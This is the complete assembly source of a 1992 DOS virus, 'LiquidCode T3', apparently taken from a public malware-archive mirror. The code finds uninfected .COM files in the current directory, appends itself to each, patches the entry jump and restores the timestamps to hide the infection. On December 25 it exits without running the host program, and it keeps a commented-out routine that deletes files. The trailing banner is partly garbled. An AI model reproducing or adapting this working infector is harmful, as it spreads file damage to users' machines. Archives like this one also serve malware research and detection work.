mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
362 lines
5.5 KiB
NASM
362 lines
5.5 KiB
NASM
|
;LiquidCode --- T3
|
|||
|
;
|
|||
|
; Virus
|
|||
|
;This version:
|
|||
|
;Searches current directory for non-infected com files, if any found
|
|||
|
;it will become infected!
|
|||
|
;This virus has a routine which self-destructs itself and uninfects
|
|||
|
;the file.
|
|||
|
assume cs:code
|
|||
|
.286
|
|||
|
code segment "code"
|
|||
|
org 0100h
|
|||
|
start proc
|
|||
|
jmp v_start ;first 5 bytes |
|
|||
|
nop ; |
|
|||
|
nop ; |
|
|||
|
v_start:
|
|||
|
call $+3 ;Actual virus
|
|||
|
pop dx
|
|||
|
sub dx, 3
|
|||
|
push dx ;save relocation factor in BP
|
|||
|
pop bp ;so virus can be copied anywhere twoards
|
|||
|
mov si, dx ;the end of the file
|
|||
|
;
|
|||
|
; Replace first 5 bytes in memory with original
|
|||
|
; program code so normal program can run later
|
|||
|
add si, first_five
|
|||
|
mov di, 0100h
|
|||
|
mov cx, 5
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
loop $-2
|
|||
|
;see if user want to disinfect this file
|
|||
|
; mov si, 82h
|
|||
|
; lodsb
|
|||
|
; cmp al, "[" ;is al the code to disinfect? "["
|
|||
|
; jne ok_dont_disinfect
|
|||
|
; jmp self_kill
|
|||
|
ok_dont_disinfect:
|
|||
|
;here should be date checks to see
|
|||
|
;if an evil function should be unleashed!!
|
|||
|
mov ah, 2ah
|
|||
|
int 21h
|
|||
|
;cx year 1980-2099
|
|||
|
;dh month 1-12
|
|||
|
;dl day
|
|||
|
;al day of week 0=sun 1=mon -> 7=sat
|
|||
|
cmp dh, 12
|
|||
|
jne notdec
|
|||
|
cmp dl, 25
|
|||
|
jne notdec
|
|||
|
jmp christmas
|
|||
|
notdec:
|
|||
|
cmp dh, 4
|
|||
|
jne notapril
|
|||
|
cmp dl, 1
|
|||
|
jne notapril
|
|||
|
; jmp aprilfools
|
|||
|
notapril:
|
|||
|
|
|||
|
;Set the DTA
|
|||
|
call set_dta
|
|||
|
;find first file to ?infect?
|
|||
|
call find_first_file
|
|||
|
go_again:
|
|||
|
mov si, bp
|
|||
|
add si, size_
|
|||
|
lodsw
|
|||
|
cmp ax, 5
|
|||
|
ja gd4
|
|||
|
jmp resrch
|
|||
|
gd4:
|
|||
|
call open_file
|
|||
|
mov bx, ax
|
|||
|
mov al, 0
|
|||
|
call date_time
|
|||
|
mov ah, 3fh
|
|||
|
mov cx, 5
|
|||
|
mov dx, bp
|
|||
|
add dx, first_five
|
|||
|
int 21h
|
|||
|
;**** mov ax, 4202h
|
|||
|
mov cx, 0
|
|||
|
mov ax, 4202h
|
|||
|
mov dx, cx
|
|||
|
int 21h
|
|||
|
sub ax, 3
|
|||
|
mov si, bp
|
|||
|
add si, new_5
|
|||
|
mov [si+1], ax
|
|||
|
mov si, bp
|
|||
|
mov di, si
|
|||
|
add si, chkmark
|
|||
|
add di, mark
|
|||
|
mov cx, 2
|
|||
|
repe cmpsb
|
|||
|
jne INFECT
|
|||
|
;File found was previously infected!
|
|||
|
; search for new one now.
|
|||
|
jmp resrch
|
|||
|
|
|||
|
wipe_name:
|
|||
|
push di
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
mov di, bp
|
|||
|
add di, name_
|
|||
|
mov cx, 13
|
|||
|
mov al, 0
|
|||
|
rep stosb
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop di
|
|||
|
ret
|
|||
|
resrch:
|
|||
|
call wipe_name
|
|||
|
mov ah, 4fh
|
|||
|
int 21h
|
|||
|
jnc gd3
|
|||
|
jmp term_virus
|
|||
|
gd3:
|
|||
|
jmp go_again
|
|||
|
INFECT:
|
|||
|
;Time to infect the file!!
|
|||
|
mov si, bp
|
|||
|
add si, handle
|
|||
|
mov bx, [si]
|
|||
|
mov cx, vsize
|
|||
|
mov dx, bp
|
|||
|
call wipe_name
|
|||
|
mov ax, 4000h
|
|||
|
int 21h
|
|||
|
mov ax, 4200h
|
|||
|
mov cx, 0
|
|||
|
mov dx, cx
|
|||
|
int 21h
|
|||
|
mov dx, bp
|
|||
|
add dx, new_5
|
|||
|
mov ax, 4000h
|
|||
|
mov cx, 5
|
|||
|
int 21h
|
|||
|
mov al, 1
|
|||
|
call date_time
|
|||
|
mov ax, 3e00h
|
|||
|
int 21h
|
|||
|
jmp resrch
|
|||
|
|
|||
|
fndnam proc
|
|||
|
mov si, env
|
|||
|
mov ax, [si]
|
|||
|
mov es, ax
|
|||
|
mov ds, ax
|
|||
|
mov si, 0
|
|||
|
mov di, si
|
|||
|
__lp:
|
|||
|
lodsb
|
|||
|
cmp al, 0
|
|||
|
je chknxt
|
|||
|
stosb
|
|||
|
jmp __lp
|
|||
|
chknxt:
|
|||
|
stosb
|
|||
|
lodsb
|
|||
|
cmp al, 0
|
|||
|
je fnd1
|
|||
|
stosb
|
|||
|
jmp __lp
|
|||
|
fnd1:
|
|||
|
stosb
|
|||
|
__lp2:
|
|||
|
lodsb
|
|||
|
cmp al, "a"
|
|||
|
jae ff_
|
|||
|
up2:
|
|||
|
cmp al, "A"
|
|||
|
jae fff_
|
|||
|
up3:
|
|||
|
stosb
|
|||
|
jmp __lp2
|
|||
|
ff_:
|
|||
|
cmp al,"z"
|
|||
|
jbe fnd
|
|||
|
jmp up2
|
|||
|
fff_:
|
|||
|
cmp al, "Z"
|
|||
|
jbe fnd
|
|||
|
jmp up3
|
|||
|
fnd:
|
|||
|
mov si, di
|
|||
|
mov al, 0
|
|||
|
repne scasb
|
|||
|
mov dx, si
|
|||
|
mov di, dx
|
|||
|
ret
|
|||
|
env equ 2ch
|
|||
|
fndnam endp
|
|||
|
|
|||
|
|
|||
|
self_kill:
|
|||
|
;this procedure disinfects specified files
|
|||
|
;SI points to the name of current file on disk
|
|||
|
;which is infected
|
|||
|
call fndnam ;find name of current file from env block in memory
|
|||
|
jmp gd__
|
|||
|
abrt:
|
|||
|
int 20h
|
|||
|
gd__:
|
|||
|
mov ax, 3d02h
|
|||
|
int 21h
|
|||
|
jc abrt
|
|||
|
mov bx, ax
|
|||
|
mov ax, cs
|
|||
|
mov ds, ax
|
|||
|
mov es, ax
|
|||
|
mov cx, 5
|
|||
|
mov dx, bp
|
|||
|
add dx, first_five
|
|||
|
call wipe_name
|
|||
|
mov ax, 4000h
|
|||
|
int 21h
|
|||
|
jc abrt
|
|||
|
mov dx, 0
|
|||
|
mov cx, 0
|
|||
|
mov ax, 4202h
|
|||
|
int 21h
|
|||
|
jnc gd__1
|
|||
|
jmp abrt
|
|||
|
gd__1:
|
|||
|
sub ax, vsize
|
|||
|
mov dx, ax
|
|||
|
mov cx, 0
|
|||
|
mov ax, 4200h
|
|||
|
int 21h
|
|||
|
call wipe_name
|
|||
|
mov cx, 0
|
|||
|
mov ax, 4000h
|
|||
|
int 21h
|
|||
|
mov ax, 3e00h
|
|||
|
int 21h
|
|||
|
jmp term_virus
|
|||
|
date_time:
|
|||
|
pusha
|
|||
|
mov ah, 57h
|
|||
|
cmp al, 0
|
|||
|
je fnd__$
|
|||
|
mov di, bp
|
|||
|
mov si, di
|
|||
|
add di, date
|
|||
|
add si, time
|
|||
|
mov dx, [di]
|
|||
|
mov cx, [si]
|
|||
|
int 21h
|
|||
|
jmp ret__
|
|||
|
fnd__$:
|
|||
|
int 21h
|
|||
|
mov si, bp
|
|||
|
mov di, bp
|
|||
|
add si, time
|
|||
|
add di, date
|
|||
|
mov [si], cx
|
|||
|
mov [di], dx
|
|||
|
ret__:
|
|||
|
popa
|
|||
|
ret
|
|||
|
open_file:
|
|||
|
mov dx, bp
|
|||
|
add dx, name_
|
|||
|
mov ax, 3d02h
|
|||
|
int 21h
|
|||
|
jnc gd2
|
|||
|
jmp term_virus
|
|||
|
gd2:
|
|||
|
mov si, bp
|
|||
|
add si, handle
|
|||
|
mov [si], ax
|
|||
|
ret
|
|||
|
find_first_file:
|
|||
|
mov dx, bp
|
|||
|
mov cx, 0
|
|||
|
mov ah, 4eh
|
|||
|
add dx, all_com_files
|
|||
|
int 21h
|
|||
|
jnc gd1
|
|||
|
jmp term_virus
|
|||
|
gd1:
|
|||
|
ret
|
|||
|
set_dta:
|
|||
|
mov dx, bp
|
|||
|
mov ah, 1ah
|
|||
|
add dx, dta
|
|||
|
int 21h
|
|||
|
ret
|
|||
|
term_virus:
|
|||
|
mov ax, 0
|
|||
|
mov bx, ax
|
|||
|
mov cx, bx
|
|||
|
mov dx, cx
|
|||
|
mov si, 0100h
|
|||
|
mov di, -1
|
|||
|
mov bp, di
|
|||
|
push 0100h
|
|||
|
ret
|
|||
|
|
|||
|
CHRISTMAS:
|
|||
|
;Program Lockup
|
|||
|
; Exit without running program
|
|||
|
int 20h
|
|||
|
;APRILFOOLS:
|
|||
|
;Ha Ha delete current file
|
|||
|
; call fndnam
|
|||
|
; mov ah, 41h
|
|||
|
; int 21h
|
|||
|
; mov ax, cs
|
|||
|
; mov ds, ax
|
|||
|
; mov es, ax
|
|||
|
; jmp term_virus
|
|||
|
; Data Bank
|
|||
|
_fstfive:
|
|||
|
int 20h
|
|||
|
nop
|
|||
|
ckmrk:
|
|||
|
nop
|
|||
|
nop
|
|||
|
acf db "*.COM",0
|
|||
|
dt_ dw 0
|
|||
|
tme dw 0
|
|||
|
d_t_a:
|
|||
|
rfd db 21 dup (0)
|
|||
|
att db 0
|
|||
|
dw 0
|
|||
|
dw 0
|
|||
|
sz dd 0
|
|||
|
n_me db 13 dup (0),0
|
|||
|
handl dw 0
|
|||
|
nw_5 db 0e9h,0,0
|
|||
|
mrk db "<T3> "
|
|||
|
strain db "<tm>LiquidCode 92"
|
|||
|
;
|
|||
|
end___:
|
|||
|
first_five = offset _fstfive-0105h
|
|||
|
all_com_files = offset acf-0105h
|
|||
|
dta = offset d_t_a-0105h
|
|||
|
attribute = offset att-0105h
|
|||
|
time = offset tme-0105h
|
|||
|
date = offset dt_-0105h
|
|||
|
size_ = offset sz-0105h
|
|||
|
name_ = offset n_me-0105h
|
|||
|
handle = offset handl-0105h
|
|||
|
new_5 = offset nw_5-0105h
|
|||
|
mark = offset mrk-0105h
|
|||
|
chkmark = offset ckmrk-0105h
|
|||
|
vsize = offset end___-0105h
|
|||
|
start endp
|
|||
|
code ends
|
|||
|
end start
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|